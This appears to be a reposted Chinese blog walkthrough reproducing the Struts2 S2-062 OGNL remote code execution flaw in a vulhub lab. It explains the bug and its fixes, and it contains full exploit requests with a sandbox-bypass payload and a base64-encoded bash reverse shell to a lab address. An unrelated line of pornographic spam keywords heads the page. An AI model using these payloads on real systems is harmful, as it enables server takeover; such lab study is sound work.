国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

struts2 s2-062 OGNL遠(yuǎn)程代碼執(zhí)行

這篇具有很好參考價(jià)值的文章主要介紹了struts2 s2-062 OGNL遠(yuǎn)程代碼執(zhí)行。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

struts2 s2-062 OGNL遠(yuǎn)程代碼執(zhí)行

一、Struts2介紹

struts2是一種重量級(jí)的框架,位于MVC架構(gòu)中的controller,可以分析出來,它是用于接受頁面信息然后通過內(nèi)部處理,將結(jié)果返回。struts2也是一個(gè)web層的MVC框架。

Java中SSH框架

SSH為Struts+Spring+Hibernate的一個(gè)集成框架,是目前較流行的一種JAVA Web應(yīng)用程序開源框架。

Java中SSM框架

SSM框架即指SpringMVC+Spring+MyBatis的簡(jiǎn)稱,相比于之前的SSH(Spring+Struts+Hibernate),SSM更加輕量化和靈活,是目前業(yè)界主流的Java Web開發(fā)框架。

MVC介紹(Model-View-Controller)

經(jīng)典MVC模式中,M是指模型,V是視圖,C則是控制器,使用MVC的目的是將M和V的實(shí)現(xiàn)代碼分離,從而使同一個(gè)程序可以使用不同的表現(xiàn)形式。其中,View的定義比較清晰,就是用戶界面。

不使用MVC組件:

1、為每個(gè)請(qǐng)求編寫處理的Servlet

2、使用getParameter()獲取請(qǐng)求參數(shù)

3、轉(zhuǎn)換參數(shù)的數(shù)據(jù)類型,包括實(shí)體對(duì)象

4、處理重定向和轉(zhuǎn)發(fā)URL

使用MVC組件:

分離頁面展示代碼和業(yè)務(wù)邏輯代碼,提升可維護(hù)性、提升開發(fā)效率

二、s2-062漏洞概況

該漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修復(fù)造成的,當(dāng)開發(fā)人員使用了 %{…} 語法進(jìn)行強(qiáng)制OGNL解析時(shí),仍有一些特殊的TAG屬性可被二次解析,攻擊者可構(gòu)造惡意的OGNL表達(dá)式觸發(fā)漏洞,從而實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。

三、漏洞復(fù)現(xiàn)

1、打開vulhub中Struts2的靶場(chǎng)

2、bp發(fā)送payload

POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1101

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

3、建立反彈連接payload

payload需要經(jīng)過base64編碼

編碼前:

bash -i >& /dev/tcp/192.168.142.133/6666 0>&1

編碼后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1192

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

四、漏洞原理

項(xiàng)目使用了%{}解析OGNL表達(dá)式,對(duì)用戶輸入的內(nèi)容進(jìn)行二次解析的時(shí)候,如果沒有驗(yàn)證就可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行。

個(gè)人理解:

struts2項(xiàng)目中使用了%{}解析OGNL表達(dá)式,對(duì)用戶輸入的內(nèi)容進(jìn)行二次解析,使用BeanMap類繞過了Struts2的黑名單(沙盒機(jī)制),并實(shí)例化了可執(zhí)行任意代碼的類,導(dǎo)致可以執(zhí)行任意代碼。

OGNL表達(dá)式:

全稱Object-Graph Navigation Language(對(duì)象圖導(dǎo)航語言),一種開源的Java表達(dá)式語言,用于對(duì)數(shù)據(jù)進(jìn)行訪問,擁有類型轉(zhuǎn)換、訪問對(duì)象方法、操作集合對(duì)象等功能。

OGNL和Struts:

1、OGNL是Struts默認(rèn)支持的表達(dá)式語言。

2、OGNL可以取值賦值、訪問類的靜態(tài)方法和屬性。

3、訪問OGNL上下文。Struts的上下文根對(duì)象:ValueStack。

4、%{}用來把字符串轉(zhuǎn)換成表達(dá)式。

5、可以在struts.xml和struts標(biāo)簽等地方使用表達(dá)式。

五、漏洞修復(fù)方法

1、升級(jí)Struts2的版本

2、升級(jí)Struts2的相關(guān)組件

3、使用安全產(chǎn)品文章來源地址http://www.zghlxwxcb.cn/news/detail-431623.html

到了這里,關(guān)于struts2 s2-062 OGNL遠(yuǎn)程代碼執(zhí)行的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • [漏洞復(fù)現(xiàn)]Apache Struts2/S2-015 (CVE-2013-2135)

    [漏洞復(fù)現(xiàn)]Apache Struts2/S2-015 (CVE-2013-2135)

    2.3.14.3 之前的 Apache Struts 2 允許遠(yuǎn)程攻擊者通過一個(gè)包含“${}”和“%{}”序列的特制值的請(qǐng)求執(zhí)行任意 OGNL 代碼,這會(huì)導(dǎo)致 OGNL 代碼被評(píng)估兩次。 春秋云境.com 進(jìn)入靶場(chǎng) 開始復(fù)現(xiàn) 構(gòu)造好payload,彈nc 就構(gòu)造好的payload,url編碼 接入我們的ip后面,同時(shí)本地打開nc監(jiān)聽 把靶場(chǎng)關(guān)了,

    2024年01月25日
    瀏覽(23)
  • struts2漏洞

    struts2漏洞

    漏洞原理 該漏洞因用戶提交表單數(shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值使用OGNL表達(dá)式%{value}進(jìn)行解析,然后重新填充到對(duì)應(yīng)的表單數(shù)據(jù)中。如注冊(cè)或登錄頁面,提交失敗后一般會(huì)默認(rèn)返回之前提交的數(shù)據(jù),由于后端使用%{value}對(duì)提交的數(shù)據(jù)執(zhí)行了一次OGNL 表達(dá)

    2024年02月06日
    瀏覽(22)
  • Struts2 漏洞集合

    總結(jié)了一部分 Strtus2 漏洞,雖然現(xiàn)在這部分的漏洞很少了,但也是學(xué)習(xí)的一部分,收集的并不全面,后續(xù)會(huì)做補(bǔ)充。 漏洞環(huán)境搭建可以使用在線的 Vulfocus ,或者使用docker部署 S2-001 (CVE-2007-4556) 該漏洞因?yàn)橛脩籼峤槐韱螖?shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值

    2024年02月16日
    瀏覽(26)
  • 【滲透測(cè)試】Struts2系列漏洞

    【滲透測(cè)試】Struts2系列漏洞

    ??S2-001 ??1、漏洞原理 ??2、影響版本 ??3、驗(yàn)證方法 ??S2-005 ??1、漏洞原理 ??2、影響版本 ??3、驗(yàn)證方法(無回顯) ??4、驗(yàn)證方法(有回顯) ??S2-007 ??1、漏洞原理 ??2、影響版本 ??3、漏洞驗(yàn)證 ??S2-008 ??1、漏洞原理 ??2、影響版本 ??3、漏洞驗(yàn)證 ??S2-009 ??

    2023年04月09日
    瀏覽(22)
  • java web mvc-02-struts2

    java web mvc-02-struts2

    Spring Web MVC-00-重學(xué) mvc mvc-01-Model-View-Controller 概覽 web mvc-03-JFinal web mvc-04-Apache Wicket web mvc-05-JSF JavaServer Faces web mvc-06-play framework intro web mvc-07-Vaadin web mvc-08-Grails Apache Struts是一個(gè)用于創(chuàng)建優(yōu)雅、現(xiàn)代Java Web應(yīng)用程序的免費(fèi)、開源的MVC框架。 struts 我的示例基于maven和struts2文檔。

    2024年01月24日
    瀏覽(36)
  • 框架安全(Laravel、thinkphp、struts2、springboot)

    框架安全(Laravel、thinkphp、struts2、springboot)

    Laravel是一套簡(jiǎn)潔、開源的PHP Web開發(fā)框架,旨在實(shí)現(xiàn)Web軟件的MVC架構(gòu)。 特征: CVE-2021-3129 Laravel開啟了Debug模式時(shí),由于Laravel自帶的Ignition 組件對(duì)file_get_contents()和file_put_contents()函數(shù)的不安全使用,攻擊者可以通過發(fā)起惡意請(qǐng)求,構(gòu)造惡意Log文件等方式觸發(fā)php反序列化,最終造

    2024年04月14日
    瀏覽(24)
  • 【Java】極簡(jiǎn)的快速入門Struts2知識(shí)清單

    目錄 簡(jiǎn)介 MVC示例 Model層 View層 Controller層 配置文件struts.xml 簡(jiǎn)單開發(fā)流程 Struts2 是一個(gè)用于開發(fā) Java Web 應(yīng)用程序的開源 Web 應(yīng)用程序框架,它是 Struts 框架的升級(jí)版。Struts2 提供了更簡(jiǎn)單、更靈活的方式來構(gòu)建 Web 應(yīng)用程序,采用了攔截器(Interceptors)等技術(shù)來處理請(qǐng)求,并且

    2024年02月19日
    瀏覽(21)
  • 微軟遠(yuǎn)程桌面服務(wù)遠(yuǎn)程代碼執(zhí)行漏洞

    微軟遠(yuǎn)程桌面服務(wù)遠(yuǎn)程代碼執(zhí)行漏洞

    人和管理成為主要入侵突破口 安全需要人、技術(shù)、管理的全方位保障,然而人與管理由于其復(fù)雜性,常常成為入侵突破口。在 19 年處理的安全事件中,弱口令事件占比 22%,釣魚郵件相關(guān)事件占比 7%,配置不當(dāng)事件占比 3%, 與人和管理相關(guān)的事件合計(jì)占總數(shù)的 1/3,安全管理

    2024年02月13日
    瀏覽(26)
  • HTTP.sys遠(yuǎn)程代碼執(zhí)行

    HTTP.sys遠(yuǎn)程代碼執(zhí)行

    本文轉(zhuǎn)載與:https://blog.csdn.net/weixin_47723270/article/details/129472716 HTTP.sys是Microsoft Windows處理HTTP請(qǐng)求的內(nèi)核驅(qū)動(dòng)程序,為了優(yōu)化IIS服務(wù)器性能,從IIS6.0引入,IIS服務(wù)進(jìn)程依賴HTTP.sys。HTTP.sys遠(yuǎn)程代碼執(zhí)行漏洞實(shí)質(zhì)是HTTP.sys的整數(shù)溢出漏洞,當(dāng)攻擊者向受影響的Windows系統(tǒng)發(fā)送特殊設(shè)計(jì)

    2024年02月05日
    瀏覽(20)
  • CVE-2019-0708遠(yuǎn)程桌面服務(wù)遠(yuǎn)程執(zhí)行代碼漏洞復(fù)現(xiàn)

    CVE-2019-0708遠(yuǎn)程桌面服務(wù)遠(yuǎn)程執(zhí)行代碼漏洞復(fù)現(xiàn)

    1、相關(guān)簡(jiǎn)介 Windows再次被曝出一個(gè)破壞力巨大的高危遠(yuǎn)程漏洞CVE-2019-0708。攻擊者一旦成功利用該漏洞,便可以在目標(biāo)系統(tǒng)上執(zhí)行任意代碼,包括獲取敏感信息、執(zhí)行遠(yuǎn)程代碼、發(fā)起拒絕服務(wù)攻擊等等攻擊行為。2019年5月14日微軟官方發(fā)布安全補(bǔ)丁,修復(fù)了windows遠(yuǎn)程桌面服務(wù)的遠(yuǎn)

    2024年02月10日
    瀏覽(22)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包